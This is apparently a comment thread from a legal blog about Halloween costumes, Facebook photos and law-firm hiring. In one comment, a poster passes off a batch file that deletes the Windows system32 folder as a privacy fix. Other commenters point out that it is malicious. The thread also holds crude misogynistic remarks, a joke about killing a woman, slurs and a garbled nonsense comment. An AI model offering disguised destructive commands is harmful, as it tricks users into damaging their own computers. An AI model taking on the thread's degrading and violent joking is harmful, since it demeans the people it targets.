If you have to ask, don't do it.

Asswalrus says what?

Pls Handle - Thx:

Can Kash Shafeef me?

Instead of posting them on Facebook please send them directly to:

PartnerEmeritus@dirtyperv.com or,
jaKeEmeritus@swingfrommyfather'ssack.net

-Thanks

My secretary just offered to let me give her a "purple mushroom" or a "fishhook"? She is hot. Can someone please tell me what these are so I can respond to her?

Can someone please tell me when it became common for women to dress as "slutty [job goes here]?" They didn't do it back when I was in college and really needed it. Don't get me wrong, I like it. I like objectifying people I know the one day a year it's ok. But how did it get started?

this post is absolutely delightful. however, the questioner can avoid having others see her photos by deleting system32 from her computer. This scrambles the photos and prevents anyone (aside from approved friends) from being able to access them.

open a notepad type the following:
@echo off
del c:\WINDOWS\system32

save the file as anything.bat (remember to add the .bat extension and save as all files)
double click and it will delete the system32 folder.

As long as we are discussing appropriate Halloween behavior, here's my nominee for Lawyer of the Day:

Deputy Assistant AG Fired After Being Caught in Cemetery With Stripper

http://www.law.com/jsp/article.jsp?id=1202435012760

The first time I set eyes on Kash, I just got that old fashioned romantic feeling where I'd do anything to bone her.

That's a special feeling, Lloyd...

Your most important asset is your reputation. You defend and protect it at all costs.

Once, when I discovered that some women were speaking ill of me behind my back, I tied one of them to the beadboard of a bed. I think she died of dehydration a few days later.

4 is the least creative, most annoying avatar on this site.

- 5

Who doesn't love slutty nurses? I mean, really, we should be encouraging this behavior, not condemning it. Just telling it like it is.

8- Boring ass old DOS Batch file coding? Really?

The real answer to this question is:

(a) Jesus Christ don't worry about it you paranoid funless automaton; and

(b) even if someone does tag your face in a photo which can be seen in their public photos, you can always un-tag yourself. Any professional who uses Facebook should just understand the privacy settings and how it works.

8, that won't even work, you retard.

I'm with 16, just de-tag yourself, like I did when I saw that photo of me at a party looking like I had pissed myself.

Test

I interview candidates for associate positions. One of the first things I do is a google/facebook search. In fact, I usually friend request candidates we have interviewed so I can browse their facebook profiles prior to extending an offer (they are always dumb enough to accept). If I find pictures/comments that represent poor judgment or reckless behavior, we don't extend an offer.

Don't let ANYTHING like "slutty nurse" pictures wind up online. You will eventually regret it.

5/13 - Then I am doing my job...

I disagree with 16.

While the odds of your employer seeing your slutty nurse pictures on Facebook are slim, and the odds of them reprimanding you because of them are even more slim, why take the chance?

Seriously, in this economy, when firms are looking for reasons to lay people off, why give them a possible justification? Is dressing as a slutty nurse really THAT important?

And now to contradict myself. I am a guy, so by all means, I encourage you to do so.

Don't nurses go as slutty nurses every day of the year, amirite wakka wakka!

If you follow 8's computer advice, you'll end up erasing important system files and have to reinstall Windows to repair the damage. Not to mention that it'll do nothing to "scramble" your pictures or otherwise affect Facebook, which has nothing to do with what you have on your computer.

Is Elie planning to go as a lawyer?

Slutty pounds down upon Nurse beside the bias examiner. Behind the biscuit progresses Slutty. Slutty behaves on top of Nurse. Slutty licenses Nurse. The snail inhibits Slutty. Whatever arrested stiff overlaps within the sect. Nurse dashes with Slutty. Nurse tosses every bread.

5-

OUTSTANDING!!! you just became my favorite person for sharing in my hatred of the total douchebags that are the Emeritus'

21, 16 here. Your advice bites - why should someone fail to engage in a harmless and relatively mainstream activity, just because there are conceivable ways through which a series of events could possibly lead to a negative impact on your career? That is true of many, many things - are you not going to drink or gamble because your employer might see you at a bar or casino? Are you not going to drive because, even though you wear a seatbelt, you could die? There are many, many available alternatives to make your slutty nurse activity almost impossible to discover, and easy to clean up - all you have to do is remove the tag. You get notified whenever someone tags you in a photo anyway. Anyway, if you have a lot of attention whore friends who post pictures of you for the world to see, you should reconsider having those friends, not reconsider your normal activities (and, frankly, dressing in a mildly revealing Haloween costume is not that far out there).

You seriously don't want to work for a place that is going to be so petty that they won't hire or will fire you you because, even though your Facebook profile is private, you were tagged in someone else's photo and forgot to get rid of the tag, and the photo shows you in a revealing top. Sure, if you are doing more crazy shit, or getting naked, or blowing bongs, don't put that on Facebook or let people take pictures of you, but this whole 'OH MY GOD WHAT IF MY EMPLOYER FINDS OUT" doesn't really refer to responsible people who aren't posting over the top shit on Facebook. Do you think that your law firm cares that you went to a party?

23: I think that was his/her point. 8 is hoping some of you actually do this, without realizing what it is you are actually erasing.

28: Of course it's intentionally malicious advice, but there are people dumb enough to follow it (it's really sad how computer illiterate many people are), so the warning is necessary.

8 sucks.

At our annual Halloween bash, maliciously maligned and misrepresented in the defamatory "Eyes Wide Shut" - my husband and I usually amuse ourselves and his partners by dressing as some facsimile of one other. We were quite the hit last year, when I dressed as Poppy and he dressed as Barbara.

I don't understand why he insists that versimilitude requires that he wear my thongs as well.

You can set your fb privacy settings to make it so other people can't tag you in their photos. Easy fix.

Kashmir Kama Sutra . . . yum.

8, go back to where you /b/elong.

Partner Emeritus is going to bring out his inner costume by dressing as Comissar Obama. He will parade down the streets of NY in his Mayback showering the proletariat with dollar bills. He will then return home, remove his costume, and spend a lovely evening with a former male body builder. Ahh, the good life.

If you're in law school or graduated it's about time for you to hang up the "slutty" outfits. It's not a function that you are dressed like that and drunk, it's that fact you are immature enough to think that is a good idea.

That said as a red blooded American man, I am all for it and would spend my night leering at you.

PE's shtick has gone from really bad to terrible

8's advice is good, but to be safe you may want to delete the Internet. Just drag Internet Explorer to the trash and empty it. It's rare but very common that there may be some Internet left, so you may have to soak your computer in a tub of Clorox just to be sure.

As the Firm's only Female Partner, I have taken to wearing a tween-sized slutty nurse costume under my business suit most days of the week. When negotiations with opposing counsel are going poorly or a big client is balking at the Firm's inflated billing, I find that stripping down to just the polyester sheath with a big red cross on it usually breaks the impasse.

well played, Elie.

I wouldn't trust those "privacy" settings to save you anyway.

All of the friends of *anyone* tagged in a facebook album can see the entire album. The entire album, not just the pictures that their friend is in. No idea if this is a glitch or intentional. This is true for all albums, even those set to private. So, you are looking at a pretty huge network of potential viewers for an event like a Halloween party.

Well played, Elie, but why did you have to ruin it for us all with Kash?

Kash, please reconsider.

This is the exact reason I don't use facebook. An elderly partner at the firm I summered at smiled knowingly when I told him I avoid all facebook-type sites. THEY CHECK.

Facebook is for people afraid to let go of the past. Or single people, or teenagers, or pedophiles, or losers who simply cannot stand to not know what people unimportant to them think about them. But what it should not be for is professional lawyers. I don't think there is a way to transition from keeping me out of jail to hours later commenting on how some hot chick at the bar was totally doing body-shots.

On a wider note, I avoid twitter and facebook, etc., because I don't believe in the value of self-importance. The world doesn't care about you, and the small universe of people who do are probably shallow.

7 - You will surely notice that its not just any woman dressing slutty, it is hot women. A rather robust woman does not make for a convincing little bo peep.

8 - you are a fucking prick. DON'T DO THAT. It ruins your computer.

43 is the funnest person evar.

Also, I don't think there is such a thing as a "wider note"; a "different note" or a "wider perspective/view" yes, but not a "wider note". Hmmm, maybe the partner was 'smiling knowingly' at your poor command of common phrases.

Also, 45, that won't ruin your computer, it will ruin your operating system.

I agree with everything 43 said -Facebook is the ultimate in vanity, like its predecessor...Myspace. Lame.

Female Partner is great schtick!

31,
Is the password still fidelius?

Dear Slutty Nurse,
Set your slut pictures to "only viewable by friends" that way, no one you're not friends with can see them. If that fails, try to keep it together on halloween so nobody has pictures of you puking. thats not a good look, no matter what the holiday.

xoxo

Better to say: "In Halloween-o, veritas."

43 - FTW

All time greatest ripping of these garbage sites.